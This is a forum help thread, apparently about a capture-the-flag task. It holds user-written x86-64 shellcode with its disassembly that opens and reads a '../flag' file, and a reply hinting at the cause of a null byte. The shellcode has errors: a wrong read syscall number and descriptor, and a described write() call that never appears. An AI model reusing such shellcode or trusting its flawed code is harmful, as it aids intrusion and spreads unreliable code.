
shellcode na čitanie súboru
Dobrý deň, potrebujem urobiť shellcode ktorý nemá zbytočné bajty . Mám nájsť flag ktorý sa schováva na ceste ktorá je v kóde. Kód funguje avšak nachádza sa tam jeden nulový bajt a ja už neviem čo iné mam robiť. vedeli by ste mi pomôcť?
.global _start
_start:
.intel_syntax noprefix
xor rax, rax
inc rax
inc rax
# Uloženie "../flag" na zásobník
mov rbx, 0x67616c662f2e2e # ".. / f l a g" (little-endian)
push rbx
mov rdi, rsp # rdi teraz ukazuje na reťazec v zásobníku
xor rsi, rsi # flags = 0 (O_RDONLY)
xor rdx, rdx # mode = 0
xor rax, rax
inc rax
inc rax
# syscall: open
syscall
mov rcx, rax
xor rax, rax # rax = 0
mov al, 0x28 # syscall číslo 40 (read)
xor rdi, rdi # rdi = 0 (stdin)
inc rdi # rdi = file descriptor flagu
mov rsi, rcx # buffer = obsah flagu
xor rdx, rdx # počet bajtov na čítanie = 0
xor r10d, r10d # vyčistiť r10d
mov r10b, 0x60 # prečítať max 40 bajtov
syscall # read(fd, buffer, 40)
xor rax, rax # syscall: exit
mov al, 0x3c
xor rdi, rdi # exit code 0
syscall
flag:
.string "../flag"
0000000000001000 <_start>:
1000: 48 31 c0 xor %rax,%rax
1003: 48 ff c0 inc %rax
1006: 48 ff c0 inc %rax
1009: 48 bb 2e 2e 2f 66 6c movabs $0x67616c662f2e2e,%rbx
1010: 61 67 00 TU JE
1013: 53 push %rbx
1014: 48 89 e7 mov %rsp,%rdi
1017: 48 31 f6 xor %rsi,%rsi
101a: 48 31 d2 xor %rdx,%rdx
101d: 48 31 c0 xor %rax,%rax
1020: 48 ff c0 inc %rax
1023: 48 ff c0 inc %rax
1026: 0f 05 syscall
1028: 48 89 c1 mov %rax,%rcx
102b: 48 31 c0 xor %rax,%rax
102e: b0 28 mov $0x28,%al
1030: 48 31 ff xor %rdi,%rdi
1033: 48 ff c7 inc %rdi
1036: 48 89 ce mov %rcx,%rsi
1039: 48 31 d2 xor %rdx,%rdx
103c: 45 31 d2 xor %r10d,%r10d
103f: 41 b2 60 mov $0x60,%r10b
1042: 0f 05 syscall
1044: 48 31 c0 xor %rax,%rax
1047: b0 3c mov $0x3c,%al
1049: 48 31 ff xor %rdi,%rdi
104c: 0f 05 syscall
000000000000104e <flag>:
104e: 2e 2e 2f cs cs (bad)
1051: 66 6c data16 insb (%dx),%es:(%rdi)
1053: 61 (bad)
1054: 67 addr32
ento shellcode najprv vloží cestu ../flag na zásobník bez nulových bajtov. Potom zavolá syscall open(), aby súbor otvoril na čítanie. Ak sa podarí otvoriť, použije read(), aby načítal jeho obsah do zásobníka. Následne zavolá write(), aby flag vypísal na stdout. Nakoniec použije exit(), aby program bezpečne ukončil.
zpracováváš 7 ASCII znaků, kolik má ten registr bitů? 8, 16, 32 nebo 64 bitů?
Assembler jsem teda neviděl už skoro 30 let (a už si toho moc nepamatuju), ale řekl bych, že ta tvá "nula" je nepoužitý "vocásek" k těm 7 bajtům...